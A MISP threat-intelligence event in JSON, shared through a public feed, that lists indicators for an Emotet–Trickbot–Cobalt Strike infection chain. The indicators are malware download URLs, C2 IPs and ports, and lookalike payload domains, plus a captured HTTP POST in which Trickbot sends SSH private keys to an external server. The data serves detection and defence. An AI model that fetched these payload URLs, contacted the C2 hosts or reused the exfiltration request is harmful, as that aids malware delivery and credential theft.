adulau/misp-circl-feed
1
0
Fork 0
Code Issues 1 Pull requests Projects 1 Releases Packages Wiki Activity Actions
misp-circl-feed/feeds/circl/misp/5e30d3b9-b330-44ac-8104-97af950d210f.json

270 lines
No EOL
8.8 KiB
JSON
Raw Blame History

{
"Event": {
"analysis": "0",
"date": "2020-01-29",
"extends_uuid": "",
"info": "Emotet - Trickbot - CobaltStrike - gtag mor85",
"publish_timestamp": "1580472298",
"published": true,
"threat_level_id": "3",
"timestamp": "1580472207",
"uuid": "5e30d3b9-b330-44ac-8104-97af950d210f",
"Orgc": {
"name": "laskowski-tech.com",
"uuid": "5e157d76-c92c-4acd-a54e-4a01950d210f"
},
"Tag": [
{
"colour": "#991515",
"name": "trickbot"
},
{
"colour": "#cd05ff",
"name": "emotet:epoch=\"1\""
},
{
"colour": "#0ab4a7",
"name": "Cobalt Strike"
},
{
"colour": "#6772d6",
"name": "PowerView"
},
{
"colour": "#ffffff",
"name": "tlp:white"
}
],
"Attribute": [
{
"category": "Payload delivery",
"comment": "emotet maldoc download link",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-01-27T00:00:00+00:00",
"last_seen": "2020-01-28T00:00:00+00:00",
"timestamp": "1580258591",
"to_ids": true,
"type": "url",
"uuid": "5e30d49a-6728-426b-bd62-97d0950d210f",
"value": "http://1.magnoec.com/r2v5r/closed_CPo2hqV_9LuHqppjuXGHoSN/870323622452_ABzYhbO_portal/82h8i4qo61essf_4tu0x/",
"Tag": [
{
"colour": "#cd05ff",
"name": "emotet:epoch=\"1\""
}
]
},
{
"category": "Network activity",
"comment": "Trickbot modules",
"deleted": false,
"disable_correlation": false,
"timestamp": "1580258623",
"to_ids": true,
"type": "url",
"uuid": "5e30d4ef-4b40-43e3-809f-7485950d210f",
"value": "http://107.175.116.133/images/lastimg.png",
"Tag": [
{
"colour": "#991515",
"name": "trickbot"
}
]
},
{
"category": "Network activity",
"comment": "Trickbot modules",
"deleted": false,
"disable_correlation": false,
"timestamp": "1580258612",
"to_ids": true,
"type": "url",
"uuid": "5e30d4f1-3e34-4a15-86c7-7485950d210f",
"value": "http://107.175.116.133/images/mini.png",
"Tag": [
{
"colour": "#991515",
"name": "trickbot"
}
]
},
{
"category": "Network activity",
"comment": "trickbot c2",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-01-28T00:00:00+00:00",
"last_seen": "2020-01-28T00:00:00+00:00",
"timestamp": "1580258742",
"to_ids": true,
"type": "ip-dst|port",
"uuid": "5e30d590-5cb8-47fd-86e1-47c4950d210f",
"value": "181.196.207.202|449",
"Tag": [
{
"colour": "#991515",
"name": "trickbot"
}
]
},
{
"category": "Network activity",
"comment": "Trickbot looking to exfil SSH keys",
"deleted": false,
"disable_correlation": false,
"timestamp": "1580259429",
"to_ids": false,
"type": "text",
"uuid": "5e30d847-7174-4b17-97d2-97d2950d210f",
"value": "```\r\nPOST /mor85/$HOSTNAME_W10017763.17B12C3CA6F6245FD0479319017B8DF1/81/ HTTP/1.1\r\n\r\nAccept: */*\r\n\r\nContent-Type: multipart/form-data; boundary=---------XYYUIBBYFVTYXHJK\r\n\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)\r\n\r\nHost: 203.176.135.102:8082\r\n\r\nContent-Length: 210\r\n\r\nConnection: Close\r\n\r\nCache-Control: no-cache\r\n\r\n\r\n\r\n-----------XYYUIBBYFVTYXHJK\r\n\r\nContent-Disposition: form-data; name=\"data\"\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----------XYYUIBBYFVTYXHJK\r\n\r\nContent-Disposition: form-data; name=\"source\"\r\n\r\n\r\n\r\nOpenSSH private keys\r\n\r\n-----------XYYUIBBYFVTYXHJK--\r\n```"
},
{
"category": "Network activity",
"comment": "Trickbot Exfil On port 8082",
"deleted": false,
"disable_correlation": false,
"timestamp": "1580259489",
"to_ids": true,
"type": "ip-dst|port",
"uuid": "5e30d8a1-0190-4c85-bab9-4fa1950d210f",
"value": "203.176.135.102|8082"
},
{
"category": "External analysis",
"comment": "quick writeup",
"deleted": false,
"disable_correlation": false,
"timestamp": "1580260936",
"to_ids": false,
"type": "link",
"uuid": "5e30de48-a3ac-47bd-999b-4582950d210f",
"value": "https://laskowski-tech.com/2020/01/29/is-that-really-your-av-company-trickbot-gtag-mor85/"
}
],
"Object": [
{
"comment": "",
"deleted": false,
"description": "url object describes an url along with its normalized field (like extracted using faup parsing library) and its metadata.",
"meta-category": "network",
"name": "url",
"template_uuid": "60efb77b-40b5-4c46-871b-ed1ed999fce5",
"template_version": "8",
"timestamp": "1580259108",
"uuid": "5e30d6e6-c0f0-4eaa-bf94-4e65950d210f",
"Attribute": [
{
"category": "Network activity",
"comment": "",
"deleted": false,
"disable_correlation": false,
"object_relation": "url",
"timestamp": "1580259108",
"to_ids": true,
"type": "url",
"uuid": "5e30d6e6-e370-4e33-9afe-4750950d210f",
"value": "https://sophosdefence.com:80/agergbvafdsvgbrt",
"Tag": [
{
"colour": "#0ab4a7",
"name": "Cobalt Strike"
}
]
},
{
"category": "Other",
"comment": "",
"deleted": false,
"disable_correlation": false,
"object_relation": "text",
"timestamp": "1580259048",
"to_ids": false,
"type": "text",
"uuid": "5e30d6e8-7238-4907-8ccd-45f3950d210f",
"value": "Cobalt Strike C2 delivered by trickbot"
},
{
"category": "Network activity",
"comment": "",
"deleted": false,
"disable_correlation": false,
"object_relation": "ip",
"timestamp": "1580259055",
"to_ids": true,
"type": "ip-dst",
"uuid": "5e30d6ef-0efc-484a-a7c6-4455950d210f",
"value": "149.248.5.240"
},
{
"category": "Network activity",
"comment": "",
"deleted": false,
"disable_correlation": false,
"object_relation": "domain",
"timestamp": "1580259061",
"to_ids": true,
"type": "domain",
"uuid": "5e30d6f5-0ecc-4752-a3de-4632950d210f",
"value": "sophosdefence.com"
}
]
},
{
"comment": "",
"deleted": false,
"description": "url object describes an url along with its normalized field (like extracted using faup parsing library) and its metadata.",
"meta-category": "network",
"name": "url",
"template_uuid": "60efb77b-40b5-4c46-871b-ed1ed999fce5",
"template_version": "8",
"timestamp": "1580259306",
"uuid": "5e30d789-8764-429a-bbec-4cdf950d210f",
"Attribute": [
{
"category": "Network activity",
"comment": "",
"deleted": false,
"disable_correlation": false,
"object_relation": "url",
"timestamp": "1580259306",
"to_ids": true,
"type": "url",
"uuid": "5e30d789-3c8c-4cf8-93f0-4b99950d210f",
"value": "https://qwe4dse4.com/hcxUr9dg.ps1",
"Tag": [
{
"colour": "#6772d6",
"name": "PowerView"
}
]
},
{
"category": "Network activity",
"comment": "",
"deleted": false,
"disable_correlation": false,
"object_relation": "ip",
"timestamp": "1580259214",
"to_ids": true,
"type": "ip-dst",
"uuid": "5e30d78e-dbac-4ab8-9a6e-4e28950d210f",
"value": "45.32.211.239"
},
{
"category": "Network activity",
"comment": "",
"deleted": false,
"disable_correlation": false,
"object_relation": "domain",
"timestamp": "1580259214",
"to_ids": true,
"type": "domain",
"uuid": "5e30d78e-e4e4-4549-ae9e-44b5950d210f",
"value": "qwe4dse4.com"
}
]
}
]
}
}
Reference in a new issue View git blame Copy permalink